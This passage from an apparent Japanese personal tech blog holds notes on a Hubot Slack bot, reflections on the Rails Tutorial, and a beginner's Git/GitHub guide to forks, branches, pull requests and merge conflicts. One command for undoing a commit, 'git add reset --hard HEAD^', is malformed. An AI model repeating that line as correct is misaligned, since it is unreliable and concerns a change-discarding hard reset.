他にもAPIサーバーを用いて, アニメ情報や電車の遅延, 天気情報,映画情報をslack上で確認できるなどあります。

問題が発生した時の対処

  • 作ったスクリプトがうまく動かないときなどがあり、なんでだろうってときはローカル上でHubotを動かすとわかった
  • errorで  Unexpected 'INDENT'がよく見られたので、エラー名の通り、/bin/hubotだと何行目かわからない
  • デプロイした後,動かないときはHerokuのログを読むべし
  • ログを読み取ることが大切

思ったこと

Hubotは,実際に目に見えて動き,研究室のSlackに導入してみるとみんなが楽しんでくれてよかった。 これからは、いろいろな人の意見を聞いて改善していきたいと思う。

SlackはGitHubやIncoming Hooks, Google Calenderなど豊富なAppと連携できるのでぜひ使っていきたい

次にやりたいこと

Slackで研究室に誰がいるかわからなくて, 「誰かいる?」って聞くのは面倒くさいと思ったので, 在室管理システム的なものをNFCリーダーを用いて作りたい

NFCリーダーで学生証読み取り -> slackに誰が来たか流す

要は出席管理みたいなもんですね….

参照

初心者がHubotを使ってHeroku上で動くSlack bot作ってみた(導入編)) hubot-script cronjob

Rails Tutorial 終えてみての感想

ak1raです!

Rubyを勉強してみたくてRails Tutorialを初めてやっとおわりましたのでなんとなく感想だけでも書いてみようと思います.

Rails Tutorialをやってみて

railstutorial.jp

一通り行うと、TwitterのようなWebアプリケーションができます。 また、テスト駆動開発を行っていて、アプリケーションを開発するときに最初にテストを作成し、次にコードを作成することを行っています!

はじめてWebアプリケーションを作ってみて思ったのは難しいなって感想でした。 今回このチュートリアルをやったおかげで、MVCモデルについても理解できました。

https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSknLI3PsK7Vb1eRKUovxA8fxyZRTfjRSr46UmejQjRN2GBodL6

また、テストコードをこんなに多く書いたことがなかったので、すごく勉強になりました。 また、Rubyの大まかな書き方もわかりました。

演習問題の解答など、ここが参考になりました。

今後のやりたいこと

家に書籍(漫画や小説etc)が多いので、書籍管理アプリケーションを作ってみたいなと考えています。

サーバー構築の際に、[Serverspec]や[Puppet]などを使いこなせるようになりたいな〜〜 ServerspecやPuppetは、本家のページがすごく参考になったのでおすすめしたい!!

serverspec.org

Home | Puppet

上記ふたつを使いこなせるようになったら記事を書きたいなと思います。。

以上、ただの感想でした…….

自分的Git, GitHubの使い方

ak1raです!
研究室のプロジェクトやインターン先でGitHubを使ってから、1人GitHubFlowで遊んでいます(苦笑い)
誰か一緒にやろうぜ
その本音を実現するために、後輩に教えた際に詰まったりしていて、自分の理解が甘いことに気づきました。 そこで今回は、ブランチを切ってプルリクエストを送るまでのやり方とエラーの対処を書いていこうと思います!

PullRequestを作ろう!

Pull Requestってなんぞ?

コードレビューしたり、〇〇の機能を実装するにはどうすればいいか、問題は何かなどを書き、
コードに関するコミュニケーションの場というイメージです。 他の人のリポジトリを自分のGitHubアカウントにFork(コピー)してきて、変更を加えて、それを元のリポジトリに取り込んでもらうようにリクエストを送信する
言葉ではわかりにくいので、自分が作ったPR(Pull Request)を以下に載せます。

f:id:akiranet:20170524141155p:plain

これは自分流なので、書き方は自分や開発グループの方針に従えばいいと思います。 私は、5W1Hを基に、何の機能なのか(WHAT)・どうやって実装するか(HOW)を主に書いてます! サーバーや機能に問題あったときは、その問題がいつ起きたかなどは(WHEN)で書くなどもできると思う。

PRの方法

今回説明するのは、他人のGitHubにPRを作る方法をやっていこと思います。 また使っているのは自分が作ったHubotのコードがあるGitHub(https://github.com/MaRuG/accueil)です!

1. 他人のGitHubのサイトから自分のGitHubにForkします

f:id:akiranet:20170524142903p:plain

上図の右上にある「fork」します。 そうすることで、自分のGitHubリポジトリにコピーできます。

2. 自分のGitHubを自分のPC(ローカル)にcloneします

xxxxxxxxxxには自分のユーザ名
$ git clone https://github.com/xxxxxxxxx/accueil.git

3. ブランチをきる &ごちゃごちゃ編集する & GItHub push しよう

まずはブランチを切りましょう!
ところでブランチってなんですか??ってなりますよね。
ブランチとは、履歴の流れを分岐して記録していくためのものです。分岐したブランチは他のブランチの影響を受けないため、同じリポジトリ中で複数の変更を同時に進めていくことができます。

http://www.backlog.jp/git-guide/img/post/stepup/capture_stepup1_1_1.png

ブランチをきることで、並行作業をやりやすくなります!

$git checkout -b xxxxxxx xxxxxxxxには、任意のブランチ名を入れましょう! ここで-bは、新規のブランチを作り、そのブランチに移ります

また、現在のブランチを確認するには以下のコマンドで確認できます。 $git branch

例として、README.mdを編集したとします。 そうしたら、以下の流れでGitHubにプッシュしましょう!

$ git remote add ooooo https://github.com/xxxxxxxxx/accueil.git
$ git add README.md
$ git commit -m "README.md コードの説明追加"
$ git push ooooo xxxxxxxxx 

oooooは任意のリモートリポジトリ名をかく xxxxxxxxxはブランチ名です。

4. ついにPRを作ろうぞ!

以前やったスクショで申し訳ない….
これは[train-info-delay]ブランチで作業した時の様子です! f:id:akiranet:20170524145053p:plain

[compare & pullrequest]をクリックして作れます!
PRの書き方は、上記でやった感じ!

コードレビューの文化は大切だと思います。

slackなどで誰かに見てもらって、typoなどないかを見てもらいます!
OKが出たら、masterにマージするようします。

以上が大まかなGitHubの使い方です!

エラー対処

git commitを取り消したい

直前のだったら、以下のように行う
$ git add reset --hard HEAD^
これだとファイルの変更箇所も取り消します。

変更箇所は残して、コミットしたことのみ消したい!
$ git reset --soft HEAD^
でできます!

HEAD^ -> 直前
HEAD^^ -> 二個前
commitのハッシュ値でも指定して取り消しできます

git commitの上書き

$git commit --amend

PRでコンフリクトされて、マージができない!?orz

これは、PRのところを見ればやりかたが書いてあるので、コマンドだけ以下に示します。

git fetch origin 
git checkout -b hoge-branch origin/hoge-branch
git merge master

conflictしているファイルのコード部分を修正。

git add xxxxx               // xxxxxはファイル名
git commit -m "〇〇"   // 〇〇はコメント

以上のことを行った後、PRのページを見るとマージできるようになってました!!

参考サイト

blog.qnyp.com www.backlog.jp

www-creators.com

eng-memo.hatenadiary.com

d.hatena.ne.jp